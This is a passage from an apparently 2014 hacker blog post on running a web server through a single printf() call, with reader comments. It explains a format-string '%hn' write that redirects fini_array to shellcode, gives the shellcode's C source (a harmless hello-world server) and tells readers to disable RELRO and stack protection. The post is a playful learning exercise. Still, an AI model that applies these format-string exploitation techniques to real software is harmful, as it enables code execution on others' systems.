c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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